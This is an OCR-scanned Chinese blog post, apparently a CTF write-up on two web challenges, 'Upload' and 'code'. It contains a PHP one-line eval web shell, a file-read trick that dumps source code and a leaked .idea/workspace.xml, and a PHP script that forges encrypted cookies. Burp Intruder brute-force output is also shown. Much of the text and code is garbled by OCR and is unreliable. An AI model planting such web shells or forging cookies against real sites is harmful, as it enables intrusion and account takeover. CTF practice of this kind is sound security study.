iFK web“B EHCTFLL3E JLH%-Upload & code

ChanCherry. F 2019-10-13 17:30:26 KA\ 673 W 2

HHEER: CTF WP CERE: web

R B AR SONTEE RIS E, BIE.CC 4.0 BY-SA MM, FBIEM LR SCH AMBEEMAREH .
ACEERE: https://blog.csdn.net/ITmincherry/article/details/102531096

FRARL

Hq:li-p! Cdfhre -Tl:g-'ﬁftj

CTF WP &A% A 2
24 WX EATH
THLR
Upload
L&
{Re]LABERS HEi
R

AU B4R, I H b AR 2 R AT DR SRR SRR AT T OO, AR T X LA

<?php
@eval ($POST[ 1;

?>

g BRI <?phpHid € T, FRHphpMAfRickeidid .

script language
$=fopen( .strtolower( ) );
echo fread($f,filesize( .strtolower( )));

fclose($f);
script
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http://154dd661c59a463aacb5d71f969774e19a5144eb67aee4c93. changame.ichunqiu.com/index.php?jpg=index.php
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title>file:index.php</title><img src

R 5, 152

header(
if(! isset($ GET[ 1)
header(
$_GET[ 1
.$file.
preg replace( ', $file);

str_replace( 5 , $file);
base64 encode(file get contents($file));

L$txt.

FTwpZJa, phpstorm#Fra i H &4 pk.idea XX {43, 17+ B 1A workspace.xml, i —
TFhttp://154dd661c59a463aach5d7f969774e19a5144eb67aee4c93.changame.ichungiu.com/.idea/workspace.xml, ZE&EIE,
RIWE RART,


http://154dd661c59a463aacb5d7f969774e19a5144eb67aee4c93.changame.ichunqiu.com/index.php?jpg=hei.jpg
http://154dd661c59a463aacb5d7f969774e19a5144eb67aee4c93.changame.ichunqiu.com/.idea/workspace.xml

option value="$PROJECT DIR
option value="$PROJECT DIR

option value="$PROJECT DIR
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index.php?jpg=fl3gconfigichuqiu.php
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error_reporting(E_ALL E_NOTICE);

include( );

function random($length, $chars
$hash ;
$max strlen($chars) il ¢
for($i 0; $i $length; $i++) {
$hash .= $chars[mt_rand(@, $max)];
)i

return $hash;

function encrypt($txt,$key){
for($i=0;%i<strlen($txt);$i++){
$tmp .= chr(ord($txt[$i])+10);
)i
$txt $tmp;
$rnd=random(4);
$key=md5($rnd.s$key);
$s=0;
for($i=0;%i<strlen($txt);$i++){
if($s 32) $s 9;
$ttmp .= $txt[$i] $key[++$s];
}
return base64_encode($rnd.$ttmp);

function decrypt($txt,$key){
$txt=base64_decode($txt);
$rnd substr($txt,0,4);
$txt substr($txt,4);
$key=md5($rnd.s$key);

$s=0;

for($i=0;%i<strlen($txt);$i++){
if($s 32) $s 9;
$tmp .= $txt[$i] $key[++$s];

b

for($i=0;%i<strlen($tmp);$i++){
$tmpl .= chr(ord($tmp[$i])-10);

b

return $tmpil;

bj
Susername = decrypt($_COOKIE[

if ($username ){
echo $flag;
}else{
setcookie( sencrypt( ,$key));

echo ;
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<?php
error_reporting(E_ALL E_NOTICE);

$text

$cookie guest ;

$cookie guest base64 decode($cookie guest);

$rnd substr($cookie guest,0,4);

$cookie guest = substr($cookie guest,4);

for ($i = @; $i strlen($text); $i++) {
$text[$i] chr(ord($text[$i])+10);

for ($i = 0; $i strlen($text); $i++) {
$key .= ($text[$i] $cookie guest[$i]);
)i
$text2 ;
for ($i 0; $i strlen($text2); $i++) {
$text2[$i] chr(ord($text2[$i])+10);
)i
$t ;
for ($j = @; $j < strlen($t); $j++) {
$key temp = $key.$t[$7];
$result ;
for ($i 0; $i strlen($text2); $i++) {
$result .= ($key_ temp[$i] $text2[$i]);
)i
$result = base64_encode($rnd.$result);
echo $result. ;
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[Target I Paositions T Payloads I Options ]

@ Payload Positions

- see help for full details.

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions

Attack type: lSniper

GET findex.php?jpg=fl3g_ichugiu.php HTTR/1.1

Accept: text/html application/xhtrml+xml application/xml;g=0.9 **;q=0.8
Accept-Language: zh-CN,zh;q=0.8 zh-TW,q=0.7 ,zh-HK; q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

Host: 154ddE61c59a463aach5d7 96977 4e19a5144eb67 aeedcd3. changame. ichungiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64; rv:69.0) Gecko/20100101 Firefox/69.0

Cookie: pgv_pvi=3742720000; Hm_vt_2d0601bd28de7 d498152459cf35d95943=1569079541 ,1570862920,1570936363 1570947732,
UM_distinctid=16d3a7 c009b681-014f273a37 c4668-40312272-144000-16d3a7 c009c582; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0000;
browse=CFIbTxUYUDBRUFtGYQUTRFEZSkde QF BYWFNFRF1RWEF TVIRPWIENVLTaBZXk ZWQIF OGIZTFRTWOWY WEWEXIx Y RkISKEIbRFNEXEFTHFREXUJa
VIMGYEBQTORWERXXF hFRFJEVVIFUOBQWWIGTEoU; ci_session=cc277 d76aadlfdi69480ccHcBeb3er7fc3d3ecls,

Hrm_lpvt_2d0601hd28de7 d49818249cf35d95943=1570947792; _ jsluid_h=e19a50ac3h53776449a93c5a0b035d8d; use=§dFZMeEQLDhsh§
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@ Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available

for each payload set, and each payload type can be customized in different ways.

Payload set: l1 |vJ Payload count: 16

Payload type: lSimpIe list |vJ Request count: 16

@ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste dk9FS0SyTIWRQ== B

dk9IFSOSYTOWRA==
Load . | | dk9FSOSYTOWQW==
——— | dk9FS0SyTOtWQg== >

R
| Remove | dkIFS0SyTOWQQ==
@ dkIFSOSyTOIWQA==

dkIFSOSYTOWTw== v
Add Enter a new item
| Add from list |.]

Start attack l

Intruder attack 4

Attack Save Columns
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Filter: Showing all items
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Request 4 | Payload Status | Error |'I'|meout| Length |Cumment
0 502 ] [] 285
1 dkIFS0SyTOUtWRw== 502 O] [ o285
2 dk9FS0SYTOtWRg== 502 ] [] 285
3 dkIFS0SyTOtWRQ== 502 O] [ o285
4 dk9FS0SYTIWRA== 502 ] [] 285
] dkIFS0SyTOtWQw== 502 O] [ o285
6 dk9FS0SyTOtWQg== 502 ] [] 285
7 dkIFS0SyTOtWQQ== 502 O] [ o285
8 dkIFS0SyTOtWQA== 502 ] [] 285
g9 dkIFS0SyTOtWTw== 502 O] [ o285
10 dk9FS0SyTOtWTg== 502 ] [] 285
11 dkIFS0SyTOtWFg== 502 O] [ o285
12 dk9FS0SYyTUWFQ== 502 ] [] 285
13 dkIFS0SyTOtWFA== 502 O] [ o285
14 dk9FS0SYTUWEW== 502 ] [] 285
15 dk3FS0SyTOtWEg== 502 O] [ o285
16 dkIFS0SyTOWEQ== 502 O] [ o285
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